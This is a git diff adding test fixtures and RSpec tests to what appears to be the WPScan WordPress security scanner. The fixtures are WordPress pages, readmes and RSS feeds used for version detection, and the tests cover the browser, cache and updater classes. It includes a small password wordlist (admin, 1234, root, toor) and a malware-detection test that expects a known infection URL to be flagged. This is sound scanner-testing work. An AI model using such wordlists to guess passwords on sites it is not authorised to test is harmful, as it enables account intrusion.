+ font-size: 10pt; + } + .entry-header .comments-link { + display: none; + } + .page-link { + display: none; + } + .singular #author-info { + background: none; + border-bottom: none; + border-top: none; + margin: 2.2em 0 0; + padding: 0; + } + #respond { + display: none; + } + .widget-area { + display: none; + } + #colophon { + display: none; + } + + /* Comments */ + .commentlist > li.comment { + background: none; + border: 1px solid #ddd; + -moz-border-radius: 3px 3px 3px 3px; + border-radius: 3px 3px 3px 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: auto; + } + .commentlist .avatar { + height: 39px; + left: 2.2em; + top: 2.2em; + width: 39px; + } + .commentlist li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; + } + .commentlist li.comment .fn { + display: block; + } + .commentlist li.comment .comment-content { + margin: 1.625em 0 0; + } + .commentlist .comment-edit-link { + display: none; + } + .commentlist > li::before, + .commentlist > li.bypostauthor::before { + content: ''; + } + .commentlist .reply { + display: none; + } + + /* Post author highlighting */ + .commentlist > li.bypostauthor { + color: #444; + } + .commentlist > li.bypostauthor .comment-meta { + color: #666; + } + .commentlist > li.bypostauthor:before { + content: none; + } + + /* Post Author threaded comments */ + .commentlist .children > li.bypostauthor { + background: #fff; + border-color: #ddd; + } + .commentlist .children > li.bypostauthor > article, + .commentlist .children > li.bypostauthor > article .comment-meta { + color: #666; + } + +} + + +/* =IE7 +----------------------------------------------- */ + +#ie7 article.intro { + margin-left: -7.6%; + margin-right: -7.6%; + padding-left: -7.6%; + padding-right: -7.6%; + max-width: 1000px; +} +#ie7 section.featured-post { + margin-left: -7.6%; + margin-right: -7.6%; + max-width: 850px; +} +#ie7 section.recent-posts { + margin-right: 7.6%; +} diff --git a/spec/fixtures/wpscan/wp_version/404.htm b/spec/fixtures/wpscan/wp_version/404.htm new file mode 100755 index 00000000..c4f42c5d --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/404.htm @@ -0,0 +1,9 @@ + + +404 Not Found + +

Not Found

+

The requested URL was not found on this server.

+
+
Apache/2.2.14 (Ubuntu) Server at lamp Port 80
+ diff --git a/spec/fixtures/wpscan/wp_version/meta-generator/3.3.2.htm b/spec/fixtures/wpscan/wp_version/meta-generator/3.3.2.htm new file mode 100755 index 00000000..965d5606 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/meta-generator/3.3.2.htm @@ -0,0 +1,174 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_version/meta-generator/3.4-beta4.htm b/spec/fixtures/wpscan/wp_version/meta-generator/3.4-beta4.htm new file mode 100755 index 00000000..fc56f179 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/meta-generator/3.4-beta4.htm @@ -0,0 +1,138 @@ + + + + + + + + + + +Wordpress 3.4 beta 4 | Just another WordPress site + + + + + + + + + + + + + + +
+ + + +
+ +
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_version/meta-generator/no-meta-generator.htm b/spec/fixtures/wpscan/wp_version/meta-generator/no-meta-generator.htm new file mode 100755 index 00000000..3eca3786 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/meta-generator/no-meta-generator.htm @@ -0,0 +1,136 @@ + + + + + + + + + + +Wordpress 3.3.2 | Just another WordPress site + + + + + + + + + + + + + +
+ + + +
+
+
+ + + + + + + + + + +
+
+ + + +
+ + +
+ + + + \ No newline at end of file diff --git a/spec/fixtures/wpscan/wp_version/readme/empty-version.html b/spec/fixtures/wpscan/wp_version/readme/empty-version.html new file mode 100755 index 00000000..11d22c4c --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/readme/empty-version.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wpscan/wp_version/readme/readme-3.3.2.html b/spec/fixtures/wpscan/wp_version/readme/readme-3.3.2.html new file mode 100755 index 00000000..8980b379 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/readme/readme-3.3.2.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.3.2 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wpscan/wp_version/rss-generator/3.3.2.htm b/spec/fixtures/wpscan/wp_version/rss-generator/3.3.2.htm new file mode 100755 index 00000000..e730a810 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/rss-generator/3.3.2.htm @@ -0,0 +1,37 @@ + + + + + Wordpress 3.3.2 + + http://lamp/wordpress-3.3.2 + Just another WordPress site + Wed, 02 May 2012 13:05:44 +0000 + en + hourly + 1 + http://wordpress.org/?v=3.3.2 + + Hello world! + http://lamp/wordpress-3.3.2/?p=1 + http://lamp/wordpress-3.3.2/?p=1#comments + Wed, 02 May 2012 13:05:44 +0000 + admin + + + http://lamp/wordpress-3.3.2/?p=1 + + Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

+]]>
+ http://lamp/wordpress-3.3.2/?feed=rss2&p=1 + 2 +
+
+
diff --git a/spec/fixtures/wpscan/wp_version/rss-generator/3.4-beta4.htm b/spec/fixtures/wpscan/wp_version/rss-generator/3.4-beta4.htm new file mode 100755 index 00000000..1b5c16f0 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/rss-generator/3.4-beta4.htm @@ -0,0 +1,37 @@ + + + + + Wordpress 3.4 beta 4 + + http://lamp/wordpress-3.4-beta-4 + Just another WordPress site + Wed, 09 May 2012 16:29:08 +0000 + en-US + hourly + 1 + http://wordpress.org/?v=3.4-beta4 + + Hello world! + http://lamp/wordpress-3.4-beta-4/?p=1 + http://lamp/wordpress-3.4-beta-4/?p=1#comments + Wed, 09 May 2012 16:29:08 +0000 + admin + + + http://lamp/wordpress-3.4-beta-4/?p=1 + + Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

+]]>
+ http://lamp/wordpress-3.4-beta-4/?feed=rss2&p=1 + 1 +
+
+
diff --git a/spec/fixtures/wpscan/wp_version/rss-generator/no-rss-generator.htm b/spec/fixtures/wpscan/wp_version/rss-generator/no-rss-generator.htm new file mode 100755 index 00000000..38a23409 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/rss-generator/no-rss-generator.htm @@ -0,0 +1,36 @@ + + + + + Wordpress 3.4 beta 4 + + http://lamp/wordpress-3.4-beta-4 + Just another WordPress site + Wed, 09 May 2012 16:29:08 +0000 + en-US + hourly + 1 + + Hello world! + http://lamp/wordpress-3.4-beta-4/?p=1 + http://lamp/wordpress-3.4-beta-4/?p=1#comments + Wed, 09 May 2012 16:29:08 +0000 + admin + + + http://lamp/wordpress-3.4-beta-4/?p=1 + + Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

+]]>
+ http://lamp/wordpress-3.4-beta-4/?feed=rss2&p=1 + 1 +
+
+
diff --git a/spec/fixtures/wpscan/wp_version/rss-generator/no-version.htm b/spec/fixtures/wpscan/wp_version/rss-generator/no-version.htm new file mode 100644 index 00000000..7a0d3112 --- /dev/null +++ b/spec/fixtures/wpscan/wp_version/rss-generator/no-version.htm @@ -0,0 +1,37 @@ + + + + + Wordpress 3.3.2 + + http://lamp/wordpress-3.3.2 + Just another WordPress site + Wed, 02 May 2012 13:05:44 +0000 + en + hourly + 1 + http://wordpress.org/?v= + + Hello world! + http://lamp/wordpress-3.3.2/?p=1 + http://lamp/wordpress-3.3.2/?p=1#comments + Wed, 02 May 2012 13:05:44 +0000 + admin + + + http://lamp/wordpress-3.3.2/?p=1 + + Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

+]]>
+ http://lamp/wordpress-3.3.2/?feed=rss2&p=1 + 2 +
+
+
diff --git a/spec/fixtures/wpscan/wpscan_options/wordlist.txt b/spec/fixtures/wpscan/wpscan_options/wordlist.txt new file mode 100644 index 00000000..3f97879f --- /dev/null +++ b/spec/fixtures/wpscan/wpscan_options/wordlist.txt @@ -0,0 +1,4 @@ +admin +1234 +root +toor diff --git a/spec/lib/browser_spec.rb b/spec/lib/browser_spec.rb new file mode 100644 index 00000000..044da618 --- /dev/null +++ b/spec/lib/browser_spec.rb @@ -0,0 +1,293 @@ +require File.expand_path(File.dirname(__FILE__) + '/../spec_helper') + +describe Browser do + CONFIG_FILE_WITHOUT_PROXY = SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json' + CONFIG_FILE_WITH_PROXY = SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf_proxy.json' + INSTANCE_VARS_TO_CHECK = ['user_agent', 'user_agent_mode', 'available_user_agents', 'proxy', 'max_threads', 'request_timeout', 'cache_timeout'] + + before :all do + @json_config_without_proxy = JSON.parse(File.read(CONFIG_FILE_WITHOUT_PROXY)) + @json_config_with_proxy = JSON.parse(File.read(CONFIG_FILE_WITH_PROXY)) + end + + before :each do + @browser = Browser.instance(:config_file => CONFIG_FILE_WITHOUT_PROXY) + end + + def check_instance_variables(browser, json_expected_vars) + json_expected_vars['max_threads'] ||= 1 # max_thread can not be nil + + INSTANCE_VARS_TO_CHECK.each do |instance_variable_name| + browser.send(:"#{instance_variable_name}").should === json_expected_vars[instance_variable_name] + end + end + + describe "#user_agent_mode setter / getter" do + # Testing all valid modes + Browser.class_variable_get(:@@user_agent_modes).each do |user_agent_mode| + it "should set / return #{user_agent_mode}" do + @browser.user_agent_mode = user_agent_mode + @browser.user_agent_mode.should === user_agent_mode + end + end + + it "shoud set the mode to 'static' if nil is given" do + @browser.user_agent_mode = nil + @browser.user_agent_mode.should === "static" + end + + it "should raise an error if the mode in not valid" do + expect { @browser.user_agent_mode = "invalid-mode" }.to raise_error + end + end + + describe "#max_threads=" do + it "should set max_threads to 1 if nil is given" do + @browser.max_threads = nil + @browser.max_threads.should === 1 + end + + it "should set max_threads to 1 if 0 is given" do + @browser.max_threads = 0 + @browser.max_threads.should === 1 + end + end + + describe "#user_agent" do + available_user_agents = [ "ua-1", "ua-2", "ua-3", "ua-4", "ua-6", "ua-7", "ua-8", "ua-9", "ua-10" ] + + it "should always return the same user agent in static mode" do + @browser.user_agent = "fake UA" + @browser.user_agent_mode = "static" + + (1..3).each do + @browser.user_agent.should === "fake UA" + end + end + + it "should choose a random user_agent in the available_user_agents array an always return it" do + @browser.available_user_agents = available_user_agents + @browser.user_agent = "Firefox 11.0" + @browser.user_agent_mode = "semi-static" + + user_agent = @browser.user_agent + user_agent.should_not === "Firefox 11.0" + available_user_agents.include?(user_agent).should be_true + + (1..3).each do + @browser.user_agent.should === user_agent + end + end + + it "should return a random user agent each time" do + @browser.available_user_agents = available_user_agents + @browser.user_agent_mode = "random" + + @browser.user_agent.should_not === @browser.user_agent + end + end + + describe "Singleton" do + it "should not allow #new" do + expect { Browser.new }.to raise_error + end + end + + describe "#instance with :config_file = #{CONFIG_FILE_WITHOUT_PROXY}" do + it 'will check the instance vars' do + Browser.reset + check_instance_variables( + Browser.instance(:config_file => CONFIG_FILE_WITHOUT_PROXY), + @json_config_without_proxy + ) + end + end + + describe "#instance with :config_file = #{CONFIG_FILE_WITH_PROXY}" do + it 'will check the instance vars' do + Browser.reset + check_instance_variables( + Browser.instance(:config_file => CONFIG_FILE_WITH_PROXY), + @json_config_with_proxy + ) + end + end + + # => @todo Write something to test all possible overriding + describe "override option : user_agent" do + it "will check the instance vars, with an overriden one" do + Browser.reset + check_instance_variables( + Browser.instance( + :config_file => CONFIG_FILE_WITHOUT_PROXY, + :user_agent => 'fake IE' + ), + @json_config_without_proxy.merge('user_agent' => 'fake IE') + ) + end + end + + describe "#load_config" do + + end + + describe "#merge_request_params without proxy" do + it "should return the default params" do + expected_params = { + :disable_ssl_host_verification => true, + :disable_ssl_peer_verification => true, + :headers => {'user-agent' => @browser.user_agent}, + :cache_timeout => @json_config_without_proxy['cache_timeout'] + } + + @browser.merge_request_params().should == expected_params + end + + it "should return the default params with some values overriden" do + expected_params = { + :disable_ssl_host_verification => false, + :disable_ssl_peer_verification => true, + :headers => {'user-agent' => 'Fake IE'}, + :cache_timeout => 0 + } + + @browser.merge_request_params( + :disable_ssl_host_verification => false, + :headers => {'user-agent' => 'Fake IE'}, + :cache_timeout => 0 + ).should == expected_params + end + + it "should return the defaul params with :headers:accept = 'text/html' (should not override :headers:user-agent)" do + expected_params = { + :disable_ssl_host_verification => true, + :disable_ssl_peer_verification => true, + :headers => {'user-agent' => @browser.user_agent, 'accept' => 'text/html'}, + :cache_timeout => @json_config_without_proxy['cache_timeout'] + } + + @browser.merge_request_params(:headers => {'accept' => 'text/html'}).should == expected_params + end + end + + describe "#merge_request_params with proxy" do + it "should return the default params" do + Browser.reset + browser = Browser.instance(:config_file => CONFIG_FILE_WITH_PROXY) + + expected_params = { + :proxy => @json_config_with_proxy['proxy'], + :disable_ssl_host_verification => true, + :disable_ssl_peer_verification => true, + :headers => {'user-agent' => @json_config_with_proxy['user_agent']}, + :cache_timeout => @json_config_with_proxy['cache_timeout'] + } + + browser.merge_request_params().should == expected_params + end + end + + describe "#replace_variables_in_url" do + after :each do + @browser.variables_to_replace_in_url = @variables if @variables + @browser.send(:replace_variables_in_url, @url).should === @expected + end + + it "should not replace anything (empty variables_to_replace_in_url)" do + @url = "http://target.tld/wp-content/file.txt" + @expected = @url + end + + it "should not replace anything (not match found)" do + @variables = {"%nothing%" => "hello"} + @url = "http://target.tld/nothing/file.txt" + @expected = @url + end + + it "should replace %wp-content% by 'custom-content'" do + @variables = {"%wp-content%" => "custom-content"} + @url = "http://target.tld/%wp-content%/some-file.txt" + @expected = "http://target.tld/custom-content/some-file.txt" + end + + it "should replace %wp-content% by 'custom-content' and %plugins% by 'wp_plugins'" do + @variables = {"%wp-content%" => "custom-content", "%plugins%" => "wp_plugins"} + @url = "http://target.tld/%wp-content%/hello/%plugins%" + @expected = "http://target.tld/custom-content/hello/wp_plugins" + end + end + + # TODO + describe "#forge_request" do + + end + + describe "#post" do + it "should return a Typhoeus::Response wth body = 'Welcome Master' if login=master&password=it's me !" do + url = 'http://example.com/' + + stub_request(:post, url). + with(:body => "login=master&password=it's me !"). + to_return(:status => 200, :body => "Welcome Master") + + response = @browser.post(url, + :params => {:login => "master", :password => "it's me !"} + ) + + response.should be_a Typhoeus::Response + response.body.should == 'Welcome Master' + end + end + + describe "#get" do + it "should return a Typhoeus::Response with body = 'Hello World !'" do + url = 'http://example.com/' + + stub_request(:get, url). + to_return(:status => 200, :body => "Hello World !") + + response = @browser.get(url) + + response.should be_a Typhoeus::Response + response.body.should == 'Hello World !' + end + end + + describe "#Browser.generate_cache_key_from_request" do + it "2 requests with the same url, without params must have the same cache_key" do + + url = 'http://example.com' + key1 = Browser.generate_cache_key_from_request(@browser.forge_request(url)) + key2 = Browser.generate_cache_key_from_request(@browser.forge_request(url)) + + key1.should === key2 + end + + it "2 requests with the same url, but with different params should have a different cache_key" do + + url = 'http://example.com' + key1 = Browser.generate_cache_key_from_request(@browser.forge_request(url, :params => {:login => "master", :password => "it's me !"})) + key2 = Browser.generate_cache_key_from_request(@browser.forge_request(url)) + + key1.should_not == key2 + end + end + + describe "testing caching" do + it "should only do 1 request, and retrieve the other one from the cache" do + + url = 'http://example.localhost' + + stub_request(:get, url). + to_return(:status => 200, :body => "Hello World !") + + response1 = @browser.get(url) + response2 = @browser.get(url) + + response1.body.should == response2.body + #WebMock.should have_requested(:get, url).times(1) # This one fail, dunno why :s (but it works without mock) + end + end + +end + diff --git a/spec/lib/cache_file_store_spec.rb b/spec/lib/cache_file_store_spec.rb new file mode 100644 index 00000000..d44dd453 --- /dev/null +++ b/spec/lib/cache_file_store_spec.rb @@ -0,0 +1,68 @@ +require File.expand_path(File.dirname(__FILE__) + '/../spec_helper') + +describe CacheFileStore do + + before :all do + @cache_dir = SPEC_CACHE_DIR + '/cache_file_store' + end + + before :each do + Dir.delete(@cache_dir) rescue nil + + @cache = CacheFileStore.new(@cache_dir) + end + + after :each do + @cache.clean + end + + describe "#storage_path" do + it "returns the storage path given in the #new" do + @cache.storage_path.should == @cache_dir + end + end + + describe "#serializer" do + it "should return the default serializer : YAML" do + @cache.serializer.should == YAML + @cache.serializer.should_not == Marshal + end + end + + describe "#clean" do + it "should remove all files from the cache dir (#{@cache_dir}" do + # let's create some files into the directory first + (0..5).each do |i| + File.new(@cache_dir + "/file_#{i}.txt", File::CREAT) + end + + count_files_in_dir(@cache_dir, 'file_*.txt').should == 6 + @cache.clean + count_files_in_dir(@cache_dir).should == 0 + end + end + + describe "#read_entry (nonexistent entry)" do + it "should return nil" do + @cache.read_entry(Digest::SHA1.hexdigest('hello world')).should be_nil + end + end + + describe "#write_entry, #read_entry (string)" do + it "should get the same entry" do + cache_timeout = 10 + @cache.write_entry('some_key', 'Hello World !', cache_timeout) + @cache.read_entry('some_key').should == 'Hello World !' + end + end + + ## TODO write / read for an object + + describe "#write_entry with cache_timeout = 0" do + it "the entry should not be written" do + cache_timeout = 0 + @cache.write_entry('another_key', 'Another Hello World !', cache_timeout) + @cache.read_entry('another_key').should be_nil + end + end +end diff --git a/spec/lib/updater/git_updater_spec.rb b/spec/lib/updater/git_updater_spec.rb new file mode 100644 index 00000000..52a7a033 --- /dev/null +++ b/spec/lib/updater/git_updater_spec.rb @@ -0,0 +1,5 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +describe GitUpdater do + +end diff --git a/spec/lib/updater/svn_updater_spec.rb b/spec/lib/updater/svn_updater_spec.rb new file mode 100644 index 00000000..142a60f4 --- /dev/null +++ b/spec/lib/updater/svn_updater_spec.rb @@ -0,0 +1,78 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +describe SvnUpdater do + + before :each do + @svn_updater = SvnUpdater.new + end + + describe "#is_installed?" do + after :each do + stub_system_command(@svn_updater, /^svn info/, @stub_value) + @svn_updater.is_installed?.should === @expected + end + + it "should return false if the svn command is not found" do + @stub_value = "svn: command not found" + @expected = false + end + + it "should return false if the repository is not manage by svn" do + @stub_value = "svn: '.' is not a working copy" + @expected = false + end + + it "should return true" do + @stub_value = ' + + + https://wpscan.googlecode.com/svn/trunk + + https://wpscan.googlecode.com/svn + 0b0242d5-46e6-2201-410d-bc09fd35266c + + + normal + infinity + + + author@mail.tld + 2012-06-02T06:26:25.309806Z + + + ' + @expected = true + end + end + + describe "#local_revision_number" do + after :each do + stub_system_command(@svn_updater, /^svn info/, @stub_value) + @svn_updater.local_revision_number.should === @expected + end + + it "should return 399" do + @stub_value = ' + + + https://wpscan.googlecode.com/svn/trunk + + https://wpscan.googlecode.com/svn + 0b0242d5-46e6-2201-410d-bc09fd35266c + + + normal + infinity + + + author@mail.tld + 2012-06-02T06:26:25.309806Z + + + ' + @expected = "362" + end + + end + +end diff --git a/spec/lib/updater/updater_factory_spec.rb b/spec/lib/updater/updater_factory_spec.rb new file mode 100644 index 00000000..dd9d655d --- /dev/null +++ b/spec/lib/updater/updater_factory_spec.rb @@ -0,0 +1,27 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +describe UpdaterFactory do + + describe "#available_updaters_classes" do + after :each do + UpdaterFactory.available_updaters_classes.sort.should === @expected.sort + end + + it "should return [:GitUpdater, :SvnUpdater]" do + @expected = [:GitUpdater, :SvnUpdater] + end + + it "should return [:TestUpdater, :GitUpdater, :SvnUpdater]" do + class TestUpdater < Updater + end + + @expected = [:GitUpdater, :SvnUpdater, :TestUpdater] + end + end + + # TODO : Find a way to test that + describe "#get_updater" do + + end + +end diff --git a/spec/lib/updater/updater_spec.rb b/spec/lib/updater/updater_spec.rb new file mode 100644 index 00000000..a89b079a --- /dev/null +++ b/spec/lib/updater/updater_spec.rb @@ -0,0 +1,25 @@ +require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper') + +describe Updater do + + before :all do + class TestUpdater < Updater + end + end + + after :all do + Object.send(:remove_const, :TestUpdater) + end + + describe "non implementation of #is_installed?, #has_update? and #update" do + it "should raise errors" do + test_updater = TestUpdater.new + methods_to_call = [:is_installed?, :update, :local_revision_number] + + methods_to_call.each do |method_to_call| + expect { test_updater.send(method_to_call) }.to raise_error + end + end + end + +end diff --git a/spec/lib/wpscan/modules/malwares_spec.rb b/spec/lib/wpscan/modules/malwares_spec.rb new file mode 100644 index 00000000..af2e6878 --- /dev/null +++ b/spec/lib/wpscan/modules/malwares_spec.rb @@ -0,0 +1,56 @@ +shared_examples_for "Malwares" do + + before :each do + @module = WpScanModuleSpec.new('http://example.localhost') + @target_url = @module.uri.to_s + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/malwares' + @malwares_file_path = @fixtures_dir + '/malwares.txt' + + @module.extend(Malwares) + end + + describe "#malwares_file" do + it "should return #{SPEC_FIXTURES_WPSCAN_MODULES_DIR}/wp_malwares.txt" do + Malwares.malwares_file(@malwares_file_path).should === @malwares_file_path + end + end + + describe "#malwares & #has_malwares" do + after :each do + if @fixture + stub_request_to_fixture(:url => @target_url, :fixture => File.new(@fixture)) + end + + malwares = @module.malwares(@malwares_file_path) + + malwares.sort.should === @expected_malwares.sort + @module.has_malwares?.should === (@expected_malwares.empty? ? false : true) + end + it "should return an empty array on a 404" do + stub_request(:get, @target_url).to_return(:status => 404) + + @expected_malwares = [] + end + + it "should return an array empty array if no infection found" do + @fixture = @fixtures_dir + "/clean.html" + @expected_malwares = [] + end + + it "should return an array with 1 malware url (.rr.nu check)" do + @fixture = @fixtures_dir + "/single-infection.html" + @expected_malwares = ["http://irstde24clined.rr.nu/mm.php?d=1"] + end + 